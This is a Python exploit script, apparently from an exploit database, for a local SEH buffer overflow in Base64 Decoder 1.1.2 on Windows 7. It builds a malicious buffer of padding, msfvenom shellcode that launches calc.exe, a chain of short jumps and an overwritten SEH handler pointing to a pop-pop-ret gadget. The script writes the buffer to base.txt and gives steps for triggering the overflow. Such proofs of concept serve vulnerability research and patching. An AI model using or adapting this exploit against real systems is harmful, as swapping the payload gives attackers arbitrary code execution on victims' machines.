#!/usr/bin/env python

# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: Base64 Decoder 1.1.2 - Local Buffer Overflow (SEH)
# Date: 12-20-18
# Vulnerable Software: Base64 Decoder 1.1.2
# Vendor Homepage: http://4mhz.de/b64dec.html
# Version: 1.1.2
# Software Link: http://4mhz.de/download.php?file=b64dec-1-1-2.zip
# Tested Windows 7 SP1 x86

# PoC
# 1. run script
# 2. copy/paste base.txt contents into 'save to file' section of app
# 3. select decode
# 4. pop calc

# orig dos poc from UN_NON, EDB: 39070

import struct

junk3 = "\x41" * 90

#msfvenom -a x86 -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d\x0e" -e x86/alpha_mixed -f c
#Payload size: 448 bytes
calc = ("\x89\xe1\xd9\xf7\xd9\x71\xf4\x5b\x53\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x59\x6c\x5a\x48\x4c\x42\x77\x70\x53\x30\x45\x50\x35\x30\x6b"
"\x39\x58\x65\x70\x31\x39\x50\x30\x64\x4c\x4b\x50\x50\x64\x70"
"\x6e\x6b\x71\x42\x34\x4c\x4e\x6b\x71\x42\x37\x64\x6e\x6b\x62"
"\x52\x56\x48\x36\x6f\x4c\x77\x61\x5a\x64\x66\x56\x51\x49\x6f"
"\x6e\x4c\x45\x6c\x75\x31\x71\x6c\x53\x32\x66\x4c\x55\x70\x69"
"\x51\x38\x4f\x44\x4d\x47\x71\x6a\x67\x78\x62\x6a\x52\x31\x42"
"\x76\x37\x4e\x6b\x70\x52\x44\x50\x6e\x6b\x61\x5a\x47\x4c\x6c"
"\x4b\x30\x4c\x34\x51\x71\x68\x4b\x53\x63\x78\x77\x71\x4b\x61"
"\x63\x61\x4e\x6b\x63\x69\x35\x70\x56\x61\x4e\x33\x6e\x6b\x57"
"\x39\x65\x48\x68\x63\x44\x7a\x37\x39\x6c\x4b\x46\x54\x6c\x4b"
"\x47\x71\x7a\x76\x35\x61\x49\x6f\x4c\x6c\x7a\x61\x6a\x6f\x64"
"\x4d\x55\x51\x4b\x77\x57\x48\x6b\x50\x74\x35\x69\x66\x65\x53"
"\x31\x6d\x4a\x58\x77\x4b\x61\x6d\x51\x34\x61\x65\x6a\x44\x61"
"\x48\x4e\x6b\x62\x78\x45\x74\x47\x71\x79\x43\x71\x76\x4c\x4b"
"\x64\x4c\x72\x6b\x6c\x4b\x73\x68\x35\x4c\x43\x31\x6a\x73\x6e"
"\x6b\x37\x74\x6e\x6b\x37\x71\x4e\x30\x4f\x79\x52\x64\x35\x74"
"\x55\x74\x71\x4b\x51\x4b\x51\x71\x70\x59\x72\x7a\x53\x61\x6b"
"\x4f\x59\x70\x73\x6f\x63\x6f\x72\x7a\x4c\x4b\x56\x72\x48\x6b"
"\x6e\x6d\x31\x4d\x50\x6a\x55\x51\x6e\x6d\x4b\x35\x4f\x42\x73"
"\x30\x65\x50\x55\x50\x42\x70\x72\x48\x70\x31\x4e\x6b\x42\x4f"
"\x6c\x47\x6b\x4f\x4a\x75\x4d\x6b\x5a\x50\x48\x35\x6e\x42\x31"
"\x46\x62\x48\x39\x36\x5a\x35\x6f\x4d\x6d\x4d\x4b\x4f\x79\x45"
"\x45\x6c\x63\x36\x73\x4c\x45\x5a\x6b\x30\x59\x6b\x79\x70\x50"
"\x75\x55\x55\x6d\x6b\x43\x77\x42\x33\x61\x62\x62\x4f\x33\x5a"
"\x33\x30\x56\x33\x49\x6f\x49\x45\x43\x53\x53\x51\x72\x4c\x53"
"\x53\x44\x6e\x65\x35\x64\x38\x43\x55\x67\x70\x41\x41")

junk2 = "\xcc"*50

#jump to calc
jmp3 = "\xe9\xaf\xfd\xff\xff\xcc"

junk1 = "\xcc"*20

#jump to jmp3
jmp2 = "\xeb\xe4\xcc\xcc\xcc\xcc"

#jump to jmp2
jmp1 = "\xeb\xf8\xcc\xcc"

#0x0045241e : pop esi # pop ebx # ret
seh = struct.pack('<L',0x0045241e)

buffer = junk3 + calc + junk2 + jmp3 + junk1 + jmp2 + jmp1 + seh
    
with open("base.txt","wb") as f:
    f.write(buffer[:-1])